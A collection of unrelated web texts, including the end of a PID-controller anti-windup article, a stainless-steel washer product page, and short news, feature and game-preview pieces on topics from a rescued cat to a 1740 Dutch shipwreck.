noisy system, the output change dx will sometimes be positive and sometimes negative, but its average value will be zero, since both e and e_prev have average values of zero. The proper behavior for a controller is to keep the controller output at that limit when the error is at or above zero.  The problem is that positive values of dx will be added in and then limited, but negative values of dx will reduce the output. What you'll find is that the controller's output value will bounce around near but slightly below its upper limit, effectively giving up some saturation range. (Let's call this phenomenon "limit hesitation" since I don't think it has a name.)  We can get around this problem by raising the controller's saturation limit above its physical limit (e.g. in our example, if the current controller's voltage limit has a real saturation point of 14.4V, then our controller's output limit could be set slightly above this point, perhaps to 15V or 16V) and then we'll still be able to reach the actuator's physical limit.  But that's kind of a hack.  The implementation I gave when I introduced the anti-windup section (my "Preferred Implementation") doesn't have this problem to the same degree, because unlike the canonical-form implementation, it keeps the integrator and proportional terms separate. In the presence of noise, if you look at the integrator term and proportional term, noise will show up in the proportional term just as much as in the input term, but it will be diminished in the integrator term, because the integrator term's transfer function lets low-frequency components through but attentuates high-frequency content. The "limit hesitation" is therefore much smaller when you keep integrator and proportional terms separate, and that's a major reason why I don't use the canonical-form implementation (aside from the conceptual opaqueness).  The "shortcoming-feedback" anti-windup controller appears to have a similar problem when used with canonical-form implementation as well, because the integrator and proportional terms are combined. Again, I'm not as familiar with this type of anti-windup controller, so I can't tell you whether limit hesitation can be overcome with shortcoming-feedback.  Integrate-then-scale implementation (reason #4 not to use it):  This approach allows you to use anti-windup almost as easily as the scale-then-integrate implementation, but there's a problem with that too:  // option A2: integrate, then scale; Ki2 = Ki*dt  e_integral = e_integral + e;  x = Kp*e + Ki2*e_integral ;  Here's the problem: what's the saturation limit for the integral term? You have to calculate it as a function of the integral gain: e_integral_limit = x_limit / Ki2.  If you don't mind doing that divide, this approach will work; it should perform just as well in the presence of noise (with respect to limit hesitation) as the scale-then-integrate implementation.  Of course, I prefer to just use the scale-then-integrate approach.  4. Fixed-point scaling issues  So far, everything we've talked about applies to both floating-point and fixed-point control loops. In fixed-point controllers, numbers are stored as integers rather than floating-point values, and for each quantity you must select a scaling factor that relates integer counts to the engineering value they represent. You have to deal with overflow and resolution issues: if the scaling factor is too small, the integer count will overflow, but if the scaling factor is too large, the resolution will be poor.  We'll talk about the subtleties of this issue in part II of this article.
-Stainless Steel Fender Washer ( #6 to 5/8" Sizes ) Item # Washer-Fender-SS-18-8 Item Rating: Regular Price: $0.08 Sale Price: $0.07 You Save: 12% Size/ Model # #6/FA-268-4751(+$0) #8/FA-268-4752(+$.04) #10/FA-268-8041(+0) #10/FA-268-4797(+$.05) #10/FA-268-6699(+$.05) #10/FA-268-8042(+$.05) #10/FA-268-1429(+$.14) 1/4"/FA-268-6698(+$.08) 1/4"/FA-268-1430(+$.14) 1/4"/FA-268-6788(+$.17) 1/4"/FA-268-1440(+$.26) 1/4"/FA-268-6635(+$.36) 5/16"/FA-268-6700(+$.15) 5/16"/FA-268-6633(+$.19) 5/16"/FA-268-1431(+$.44) 3/8"/FA-268-6830(+$.15) 3/8"/FA-268-1432(+$.47) 3/8"/FA-268-8044(+$.57) 1/2"/FA-268-8146(+$.47) 1/2"/FA-268-6951(+$.35) 1/2"/FA-268-6697(+$.61) 1/2"/FA-268-1433(+$1.42) 5/8"/FA-268-4753(+$.97) Quantity:  Description Additional Product Info. > Stainless Steel > #6, #8, #10, 1/4", 5/16", 3/8", 1/2", or 5/8" Sizes > Standard Style > 18-8 S.S.  Heavy duty stainless steel fender washers.  Product Features:  Standard sizes.  Crafted from marine grade 18-8 Stainless Steel for superior corrosion protection.  Fender washers provide a larger bearing surface than ordinary flat washers.  Especially useful in situations where it is necessary, or prudent, to distribute the load over a wider area. Fender WasherStainless Steel#6, #8, #10, 1/4", 5/16", 3/8", 1/2", or 5/8" SizesStandard Style18-8 S.S.Heavy duty stainless steel fender washers.Standard sizes.Crafted from marine gradefor superior corrosion protection.Fender washers provide a larger bearing surface than ordinary flat washers.Especially useful in situations where it is necessary, or prudent, to distribute the load over a wider area. Specifications & Pricing: Please choose the Washer(s) you need from the drop down menu above the product description.  Size: (A) #6 - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-4751 - Outside Diameter: (B) 3/4" - Thickness: .050" - Material: 18-8 S.S. - Price: $.07 each  Size: (A) #8 - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-8040 - Outside Diameter: (B) 3/4" - Thickness: .040" - Material: 18-8 S.S. - Price: $.11 each  Size: (A) #8 - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-4752 - Outside Diameter: (B) 3/4" - Thickness: .050" - Material: 18-8 S.S. - Price: $.11 each  Size: (A) #10 - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-8041 - Outside Diameter: (B) 3/4" - Thickness: .040" - Material: 18-8 S.S. - Price: $.11 each  Size: (A) #10 - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-4797 - Outside Diameter: (B) 3/4" - Thickness: .050" - Material: 18-8 S.S. - Price: $.12 each  Size: (A) #10 - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-6699 - Outside Diameter: (B) 11/16" - Thickness: .050" - Material: 18-8 S.S. - Price: $.12 each  Size: (A) #10 - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-8042 - Outside Diameter: (B) 1" - Thickness: .040" - Material: 18-8 S.S. - Price: $.12 each  Size: (A) #10 - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-1429 - Outside Diameter: (B) 1" - Thickness: .062" - Material: 18-8 S.S. - Price: $.21 each  Size: (A) 1/4" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-6698 - Outside Diameter: (B) 1" - Thickness: .050" - Material: 18-8 S.S. - Price: $.13 each  Size: (A) 1/4" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-1430 - Outside Diameter: (B) 1" - Thickness: .062" - Material: 18-8 S.S. - Price: $.21 each  Size: (A) 1/4" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-6788 - Outside Diameter: (B) 1 1/4" - Thickness: .050" - Material: 18-8 S.S. - Price: $.24 each  Size: (A) 1/4" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-1440 - Outside Diameter: (B) 1 1/4" - Thickness: .062" - Material: 18-8 S.S. - Price: $.33 each  Size: (A) 1/4" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-6635 - Outside Diameter: (B) 1 1/2" - Thickness: .062" - Material: 18-8 S.S. - Price: $.43 each  Size: (A) 5/16" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-6700 - Outside Diameter: (B) 1 1/4" - Thickness: .050" - Material: 18-8 S.S. - Price: $.22 each  Size: (A) 5/16" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-6633 - Outside Diameter: (B) 1 1/2" - Thickness: .062" - Material: 18-8 S.S. - Price: $.26 each  Size: (A) 5/16" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-1431 - Outside Diameter: (B) 1 1/2" - Thickness: .078" - Material: 18-8 S.S. - Price: $.51 each  Size: (A) 3/8" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-6830 - Outside Diameter: (B) 1 1/4" - Thickness: .050" - Material: 18-8 S.S. - Price: $.22 each  Size: (A) 3/8" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-1432 - Outside Diameter: (B) 1 1/2" - Thickness: .078" - Material: 18-8 S.S. - Price: $.54 each  Size: (A) 3/8" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-8044 - Outside Diameter: (B) 2" - Thickness: .062" - Material: 18-8 S.S. - Price: $.64 each  Size: (A) 1/2" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-8146 - Outside Diameter: (B) 1 3/8" - Thickness: .062" - Material: 18-8 S.S. - Price: $.54 each  Size: (A) 1/2" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-6951 - Outside Diameter: (B) 1 1/2" - Thickness: .062" - Material: 18-8 S.S. - Price: $.42 each  Size: (A) 1/2" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-6697 - Outside Diameter: (B) 2" - Thickness: .062" - Material: 18-8 S.S. - Price: $.68 each  Size: (A) 1/2" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-1433 - Outside Diameter: (B) 2" - Thickness: .109" - Material: 18-8 S.S. - Price: $1.49 each  Size: (A) 5/8" - Fastener Type: Stainless Steel Fender Washer - Model # FA-268-4753 - Outside Diameter: (B) 2" - Thickness: .109" - Material: 18-8 S.S. - Price: 1.04 each  Combine this purchase with other items in our store for discounted shipping. Please choose the Washer(s) you need from the drop down menu above the product description.Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .050" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .040" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .050" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .040" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .050" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .050" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .040" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .062" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .050" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .062" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .050" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .062" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .062" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .050" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .062" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .078" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .050" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .078" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .062" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .062" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .062" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .062" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .109" - Material: 18-8 S.S. -Size: (A)- Fastener Type:- Model #- Outside Diameter: (B)- Thickness: .109" - Material: 18-8 S.S. -Combine this purchase with other items in our store for discounted shipping. Sold individually.  Available in several sizes.  Most marine hardware can be divided into two distinct groups these days.  Cheap junk made with little, if any, thought to the impact its production has on the environment or the workers involved - or high quality gear made from materials designed to last, by companies that care.  We prefer to carry the latter.  Plastic and nylon parts are durable for a while and they satisfy price sensitive shoppers. Their production, however, creates numerous toxins, and eventually enough sunshine or stress will cause them to break.  Chrome, nickel, and zinc plating can protect metal surfaces for years, but their initial production, especially in third-world countries can cause devastating harm.  Painted parts are effective for a while, but paint production is usually nasty, and as it chips and goes over the side, paint carries its own poisons along.  At greenboatstuff.com we choose to carry aluminum, brass, bronze, stainless steel, and occasionally wood hardware.  In an imperfect world we know these choices are not entirely without their faults.  In our opinion, however, they satisfy our criteria for high quality, long lasting products that do the job well while inflicting minimal, if any, harm.  Another important green aspect to our hardware offerings is our lack of a minimum order policy.  Unlike most hardware suppliers that force you to purchase in bulk, at greenboatstuff we try to avoid such restrictive policies.  After all, if a customer only needs a certain quantity of an item, why force them to pay for something that will sit on a shelf for years or be discarded?  Sure, this might sound like a little thing, but if we can discourage waste, especially of products like hardware that are made almost exclusively from natural resources, we believe it is both good business and good for the Planet.  Product Reviews for Stainless Steel Fender Washer ( #6 to 5/8" Sizes )
-A little stray cat walked up to a soldier and demanded that he be his forever human. Ever since then, the kitty has been his most loyal friend, following him around.  Meet Salem the cat.  Courtesy: Justin W.  While Justin was on duty in Romania, he came across a friendly black cat who stepped out of the brushes and started following him around.  After a few pets, Salem seemed to have his mind set up to be with his new friend and even waited for him every morning. The adorable black kitty became Justin's little shadow.  Every time Salem saw his human friend, he would hop on his lap and curl up for a nap. When Justin's lap wasn't available, he would slip into his helmet for a quick snooze.  The affectionate kitty gave Justin the comfort that reminded him of his home. It didn't take long for the little feline buddy to creep his way into his human's heart…  Courtesy: Justin W.  "There is a huge problem with strays in this country. There are everywhere. This little guy just took a liking to me," Justin told Love Meow.  With only a month and a half left in the country, Justin began looking into ways to safely bring Salem to his home in El Paso, Texas.  Courtesy: Justin W.  A kind woman, animal rescuer and founder of Oana's Homeless Street Paws, offered to help.  "Oana is the woman that took Salem in for me. She took care of everything when it came to getting Salem home," Justin told Love Meow.  Courtesy: Justin W.  Oana takes in abused, abandoned cats and kittens, nurses them back to health and finds them good homes. "Oana is one of the most passionate and inspiring people I have ever met. Romania would be served well with more people like her," Justin said.  Courtesy: Justin W.  Two months after Justin found Salem, the little kitty traveled thousands of miles to his forever home in the US. He was welcomed by his new human mom and a feline friend, Cheddar.  Salem found a new toy in his new home.  Courtesy: Justin W.  When Justin returned to the US, Salem gave him the warmest homecoming.  "When I came home he instantly recognized me, and he's always following me around the house. He adapted to the home life very easily," Justin told Love Meow.  Courtesy: Justin W.  Salem claiming the kitchen as his little kingdom.  Courtesy: Justin W.  Happy and loved!  Courtesy: Justin W.  What a handsome boy!  Courtesy: Justin W.  Share this story with your friends.  Related story: Soldier Refuses to Leave Special Needs Kitten Behind
-The deadly train collision in Wenzhou last month may put a dent in the ‘China model’ of economic growth, but the concept itself is likely to be enduring for two reasons – China’s remarkable achievements since the late 1970s, and the financial crisis that continues to ravage the West. Indeed, if Beijing handles the aftermath of Wenzhou properly, the tragedy may come to be seen as an example of Beijing’s ability to fix shortcomings in its own growth model.  The term ‘China model’ is a Western invention, but has gained currency over the last half dozen years, both in China and overseas. Premier Wen Jiabao has actually said that China doesn’t see China’s development as a model for anyone, saying that all countries should choose paths that suit their particular national conditions.  However, since the West has been laid low by financial crises in the United States and Europe, and with the Japanese economy stagnant for two decades, the so-called Washington Consensus of combining market economics with democracy has lost much of its appeal in many parts of the world, especially among countries with non-democratic governments.  In addition, Beijing’s good relations with developing countries in general means that they will inevitably look to China – and its authoritarian government able to make decisions without interference from an elected legislature, opposition political parties or a free press – as part of their own modernization efforts.  And, despite Wen’s reticence, other Chinese officials haven’t been slow to contrast China’s rapid development with the problems in the democratic West. Vice Foreign Minister Fu Ying, in a recent interview with Der Spiegel, pointed out that ‘at the moment it is the Western governments that are having problems.’ Why, she asked, have so many governments made so many mistakes? Why have political parties made commitments they can’t fulfil? And why do they spend so much more than they have? Democracy alone, she said, can’t put food on the table.  She went on to indicate that democracy shouldn’t be necessarily be equated with a multiparty election system, a position shared by other proponents of the China model. It’s a view echoed by Thus Han Zhu, a research fellow at the Sinologizing Research Center, who says that the emphasis should be on good governance, not democracy.  In an article in China Daily he wrote: ‘In the West, democracy is reflected only at the time of elections, but in China democracy has to navigate the entire process of administration, which puts enormous pressure on the government.’ He said polls conducted by the Pew Research Center and others reflect ‘the degree of satisfaction of Chinese people toward the speed and direction of the current development process.’  Another commentary published this month in China Daily, meanwhile, took direct aim at the United States. ‘The debt crisis has exposed the defects rather than the advantages of its system,’ the commentary said. ‘Even many US citizens have appealed for introspection and reform of the country’s political system.’  ‘Democracy cannot solve every problem. It is not the be all and end all of political structures, and it should learn from the experiences and advantages of other political systems,’ it concluded.  Yet while Chinese commentators have been scathing of the United States, and keen to talk up China’s achievements, they generally concede that the China model can’t simply be copied by other countries. Zhang Weiwei of the Geneva School of Diplomacy and International Relations, for example, describes China as a ‘civilization-state,’ a status that can be claimed by few, if any, other countries. Still, he argues that ‘as China rises, the influence of the Chinese Model on the outside world will likely be greater and greater.’  How? Zhang says that some concepts, such as the idea that ‘good versus poor governance is far more important than democratic versus authoritarian government,’ might resonate overseas. And, on the face of it, this is an attractive idea – China certainly boasts a government capable of making major decisions that are frequently in the interests of the people.
-Jose Aldo broke his silence.  The former UFC featherweight king suffered back-to-back defeats for the first time in his 30-fight mixed martial arts career, and released a statement three days after his third-round TKO defeat to Max Holloway at UFC 218 in Detroit.  Aldo, who replaced injured Frankie Edgar against “Blessed” in the main event on Dec. 2, in a rematch of their UFC 212 title bout in June, thanked his teammates and fans in a post on his social media.  “I only have to thank my family that I love for everything, and my team Nova Uniao, the best in the world, for making me great and champion, and [thank] my friends and fans that are always with me. Thank you all! I will be always optimistic because believing is the first step to making it happen."  Aldo (26-4) lost three of his last four fights inside the Octagon, snapping a perfect 15-0 run under the UFC and WEC banners.
-Trading in local currencies has already started — and lays the groundwork for facilitating BRICS transactions in gold  Recent progress made in streamlining trade in local currencies has brought Moscow and Beijing closer to creating a financial architecture that could facilitate transactions in gold.  As we reported last week, Moscow and Beijing took another step towards de-dollarization with the opening of a yuan clearing bank in Russia. And earlier this month Russia's Central Bank opened its first-ever foreign branch in Beijing to allow for better communication between Russian and Chinese financial authorities.  "In China, gold is traded in Shanghai, in Russia, Moscow. Our idea is to create a link between these sites in order to intensify trade between our marketplaces."  According to an article published yesterday by Sputnik, progress made in promoting bilateral trade in yuan is the first step towards an even more ambitions plan — using gold to make transactions:  The clearing center is one of a range of measures the People's Bank of China and the Russian Central Bank have been looking at to deepen their co-operation. [...] One measure under consideration is the joint organization of trade in gold. In recent years, China and Russia have been the world's most active buyers of the precious metal. On a visit to China last year, deputy head of the Russian Central Bank Sergey Shvetsov said that the two countries want to facilitate more transactions in gold between the two countries.  The possibility of trading in gold has been discussed by Russian officials over the last year. Last April, First Deputy Governor of the Russian Central Bank Sergey Shvetsov told TASS:  “BRICS countries are large economies with large reserves of gold and an impressive volume of production and consumption of this precious metal. In China, the gold trade is conducted in Shanghai, in Russia it is in Moscow. Our idea is to create a link between the two cities in order to increase trade between the two markets."  Future plans to facilitate transactions between Moscow and Beijing in gold would certainly explain why the two countries are leading gold producers and buyers.  Creating a BRICS "gold marketplace" would be an excellent way of bypassing the dollar while also using a "currency" that could be easily recycled for trade with other member nations.  And while trading in gold won't happen overnight, BRICS states have already moved towards creating a "new financial architecture" that "tackles the dominance of the U.S. dollar in global finance":  The initiatives taken by the member nations of BRICs (Brazil, Russia, India, China, and South Africa) to set up a new financial architecture at its eighth summit held in October 2016 in India have recently been under the spotlight. In order to avoid the International Monetary Fund (IMF) type of loan conditionalities and tackle the dominance of the United States (US) dollar in global finance, the new institutions set up by the BRICs are expected to provide a much needed change in the global financial architecture. These institutions include the New Development Bank (NDB), the BRICS-led Contingency Reserve Fund (CRF), and the Asian Infrastructure Investment Bank (AIIB).  As one financial expert noted recently:  In recent years, the BRICS countries – Brazil, Russia, India, China and South Africa – have been taking small steps to reduce the primacy of the dollar in international trade. China has been leading this effort in recent years. I recently came across this headline published by the South China Morning Post: “Moscow and Beijing join forces to bypass U.S. dollar in world money market.” You see, Russia and China have been working towards stronger economic ties for years. The latest sign of this cooperation happened March 16, when the Central Bank of Russia opened its first overseas office in Beijing. The local news called this “a small step forward in forging a Beijing-Moscow alliance to bypass the U.S. dollar in the global monetary system.”  Trading in yuan is just the first step.  There are much bigger plans in the works.
-A West Virginia man was sentenced to five years of probation and 50 years of supervision after being convicted of impregnating his 11-year-old daughter and forcing her to get abortions.  Michael Adkins was arrested in March 2014 after he and his wife arranged for two abortions for his 11-year-old daughter within 15 days, WSAZ reports.  Adkins was initially charged with sexual assault, incest, sexual battery, child neglect, intimidation by a witness and conspiracy. In September 2015, he pleaded guilty to incest as part of a plea deal and the other charges were dropped.  He withdrew his plea in March 2016 after learning that he may have to spend time in jail for the charges. Adkins believed he would be sentenced to home confinement, but Judge Al Ferguson refused to accept home confinement as a sentence or any plea deal that withdrew the possibility of prison time.  “I’m not going to put him on home confinement in this case. I don’t know what status that puts you in but after doing a pre-sentence investigation and everything that’s not a proper disposition in this matter.”  On November 16, Adkins received the sentence of probation and supervision after the case was transferred to a new judge. Under Cabell County Judge Paul Farrell’s orders, Adkins is also required to undergo therapy and register as a sex offender.  His wife, Amanda Adkins, the girl’s step-mother, was also arrested in March 2014. Adkins said she arranged the abortions without his knowledge. After pleading guilty to child neglect in 2015, her other charges – intimidation of a witness, obstructing an officer, and conspiracy – were dropped.  She was sentenced to 18 months of probation and 10 years of supervised release.  [Feature Photo: Michael Joe Adkins/West Virginia State Police]
-GRAND CHUTE , Wisc. ( ) -- More than 40,000 pounds of stolen cheese, valued at $90,000, was recovered at a facility in Grand Chute Thursday.  On Jan. 15, 41,000 pounds of Le Sueur Parmesan cheese was reported missing by WOW logistics in the City of Marshfield after the shipping company was notified that the cheese did not arrive at its intended destination in Elgin, IL.  The Marshfield Police Department said they received a tip Thursday morning indicating the missing cheese was being stored at a facility in Grand Chute.  According to the Marshfield Police Department, Grand Chute police confirmed the entire shipment of missing cheese was located and recovered.  Marshfield Police did not name the facility.  This incident remains under investigation. Marshfield Police believe this is a organized crime operation.  On Tuesday, Milwaukee police recovered about from a suburban Milwaukee trucking company.
-When From Software announced Dark Souls II, it dared to utter the most damning words possible--streamlined, accessibility, mainstream--causing those invested in scouring the treacherous underbelly of gaming's unforgiving realm to rankle like an abused dog. Trying to draw in a wide audience has caused many developers to remove difficulty from their offerings, subsequently squashing the feeling of conquest that comes from rising above seemingly insurmountable challenges. So the thought that Dark Souls II would travel down that same sanitized path burned with the ferocity of a drake's flaming breath. Would Dark Souls II stoop to the level of so many of its casualized peers, or would it stay true to its own stubborn beliefs?  In an unassuming conference room in New York City, director Yui Tanimura answered the question that has been swirling around Dark Souls II ever since it was announced late last year. There would be no easy mode. After allaying our fears with those simple words, the feeling of unavoidable doom lifted like a passing fog. The game is built upon the satisfaction of completing difficult challenges, he explained, so undermining the joy that encompasses a well-fought victory would cause Dark Souls II to topple from the delicate precipice it's built on.  The importance of those words cannot be overstated. The Souls games are a relic from a time when games demanded serious investment to complete. An era where nothing is handed to you; where the scars of failure chronicle the difficult path you traveled before reaching the summit. The threat that Dark Souls II would wrap a protective arm around anyone who wished to inhabit its crumbling castles and murky swamps, ensuring that even those with only a passing interest could explore the eerie confines was too much to bear. Dark Souls II should offer an inhospitable respite for those who fear being made soft by the failure-free experience offered by so many other games. And it's an incredible feeling when the director of Dark Souls II recognizes the place this franchise holds, and doesn't taint its unrepentant appeal.  The Souls games are a relic from a time when games demanded serious investment to complete.  So what did From Software mean when it said that Dark Souls II would be more accessible than its hard-hearted predecessors? Tanimura talked about removing the "tedious" aspects so you can focus on what makes Souls so eminently engaging. For instance, it wasn't until halfway through Dark Souls that you unlocked the ability to warp between bonfires. In the sequel, you will be able to perform this vanishing feat from the beginning. This ties in to the less-restrictive level design as well. Dark Souls II will once again take place in an open world in which each section is ostensibly a level in itself. However, the order in which you progress is more flexible than before. With more choices, you can forge your own path through the decimated world, so having warp points should limit needless backtracking.  It will be interesting to see how more freedom affects progression. In Dark Souls, although you could often choose which section to attempt, the game made it clear when you chose one beyond your means. If you entered the graveyard instead of climbing the mountain path at the outset, for example, you would meet a quick end from a deadly gang of skeletons. Without so much as uttering a word, Dark Souls nudged you in the right direction, burning a memory of failure in your mind so you would revisit the most dangerous parts when you became stronger. However, with more areas open at once, it's unclear how Dark Souls II will maintain its razor-sharp edge throughout. In games such as The Elder Scrolls: Skyrim, enemies level up alongside you, so they always offer the same relative challenge. Will Dark Souls II have to concoct a similar system? Or will From Software find another way to keep the difficulty high no matter which path you take?  The only other "tedious" aspect that Tanimura was willing to talk about pertained to weapon upgrades. This process will be made more straightforward in Dark Souls II. He didn't go into detail on what changes would be implemented, but he did say that grinding would be reduced. This may mean that you no longer have to procure rare items to infuse your weapons with more power. Although such a shift would keep you progressing, it might not be the clear gain that Tanimura envisions. Repeatedly slaying groups of enemies to gain precious shards provided a vacation from the unnerving tension that is such a frequent aspect of Dark Souls. You could cut enemies to shreds without your heart beating through you chest, which let you exist in this dreary world without the accompanying dread. If Dark Souls II lessens the perks of demon slaughter, it could make an already terrifying adventure even tougher to bear.  Dark Souls nudged you in the right direction, burning a memory of failure in your mind so you would revisit the most dangerous parts when you became stronger.  It doesn't appear as if Tanimura has any sympathy for hesitant players. From the 20 or so minutes of action From Software showed, Dark Souls II may be even more difficult than its infamous predecessor. What's interesting is how the difficulty will be implemented. In Dark Souls, combat served as the backbone for every encounter. Ready your shield, steady your sword, and patiently march through the punishing lands, always on the lookout for enemies waiting to attack. Such is the case with Dark Souls II as well; however, there are puzzle aspects too. In one scene, wyverns flood the skies as you attempt to cross a feeble rope bridge. As you're halfway across, high above a canyon, a wyvern lands on the bridge, snapping the ropes holding it, and you, aloft. You fall to your death. Clearly, there is a way to cross the bridge, but you need to exercise your brain rather than your brawn to accomplish that.  In another area, a silver chariot barrels toward you. Though you see it coming from a distance, its speed is incredible, and even rolling out of the way doesn't clear you from its rampaging path. Once again, the person playing the demo died. However, this encounter, too, can be overcome with quick thinking, though the developers didn't reveal how to stay alive. Puzzle solving looks like it will be a bigger element of Dark Souls II than its predecessor, which should mix the difficulty up in interesting ways. That runaway chariot had one other important element as well: it's a boss fight. Bosses no longer stay at the end of levels, waiting for you to end their lives. They set out to hunt you, and fight you, when you least expect it, forcing you to stay alert lest you die from an unexpected strike.  Elsewhere, this is the same Dark Souls that you remember. The story unfolds in vague whispers and hints, forcing you to piece together the expansive history that ties this broken world together. Silent areas stretch on endlessly, racking your nerves as you wait for an enemy to leap from the shadows, ending the terrifying wait. One enemy tempts you to walk behind it, and when you face its barrel-plated backside, it crushes you with a backward splash. Another one hides behind a locked door. Lodge an arrow in its peering eyes, and it will break down the door, and the wall, to come after you. A knight waits on a narrow bridge, slinging axes your way. With a well-timed swing of your sword, you can repel his attacks. But if you miss, your life ends in a flash. This is the Dark Souls you remember, where death lurks around every corner, but you continually push forward to prove your worth.  Many times, when a sequel debuts, it bears such a striking resemblance to its predecessor that it's difficult to get excited. Dark Souls II is able to avoid this trap because of its very nature. There is nothing like Dark Souls out there now, no game dredged so clearly from the ashes of gaming's cold and forgotten past. That Dark Souls II is more of the same is a good thing because what it is, what it represents, is the antithesis of what modern game design has become. It is a cruel, unforgiving beast that relishes in doling out hellacious punishment. It's the furthest thing possible from mainstream. Its obstinate nature burns at its core, forcing novices and experts alike to move slowly through environs with steely determination. It is the great equalizer. This is the Dark Souls you remember, where death lurks around every corner, but you already knew that. You're already dead.
-Hollywood has taught us that some deaths are tragic, some are deserved, and some just make you go "OH, MY GOD HOLY SHIT, YES." These are the ways we would go, if given the choice. Dying in a blaze of glory may be cool and all, but these folks prove it's always better to die in a blaze of awesome. Advertisement  7 Russell Franklin (Samuel L. Jackson) in Deep Blue Sea In an effort to cure Alzheimer's, scientists in an underwater lab inject science directly into the brains of regular sharks. In a twist that for some reason was unexpected by the scientists, the sharks become super smart. They use their new skills to terrorize the research team, who for some reason refuse to let the sharks just escape into the open ocean. After several reasonably standard shark deaths, including a shark destroying a helicopter, Samuel L. Jackson takes stock of the situation, tells everyone to calm down, and provides an awe-inspiring rallying speeches in the face of disastrous adversity. He spends so much time going face-to-face with adversity, that he neglects to guard his back, which is aimed at the only giant hole in the lab where a super shark may be expected to hang out. Continue Reading Below Advertisement Not surprisingly, he gets his ass eaten by a super shark. Why it's awesome  If we can't have this exact death (and our line of work makes it unlikely) then we want one in the same category. By that, we mean a death where one glance at the tombstone lets the world know that you were the only person to ever, ever die that way.
-A shipwreck discovered by a diver on the Goodwin Sands near Deal will be at the centre of an urgent archaeological project this summer.  Dutch East Indiaman the Rooswijk will be researched and partially excavated by an international team based in Ramsgate from July to October.  The ship had been on its way to the East Indies with valuable cargo including silver ingots and coinage when it sank on the sandbank on January 8, 1740.  Spectacles recovered in 2005 from the Rooswijk  There were no survivors.  The wreck is now at risk from currents and shifting sands.  The project, run by the Dutch Cultural Heritage Agency in partnership with Historic England, involves mapping the ship and securing any archaeological material.  Spanish coins found in the Rooswijk wreck from 2005  Heritage minister Tracey Crouch says the excavation project will safeguard important material for future generations, develop underwater research and support the new Ramsgate Heritage Action Zone initiative, which looks to attract investment to the area using local heritage.  She said: “The shipwrecks that dot the British coast are unique pieces of maritime heritage and windows into Europe’s seafaring history.”  The wreck is of enormous value to archaeologists to help them better understand that period of seafaring history.  A drawing of a ship similar to the Rooswijk by Adolf van der Laan in 1716. Picture: Collection of the Fries Scheepvaart Museum  There are a total of 250 Dutch East India Company shipwrecks, of which only a third have been located, and never before has such a wreck been researched or excavated scientifically on this scale.  Dutch minister Jet Bussemaker says the information the team can gather will be valuable in describing that period in history.
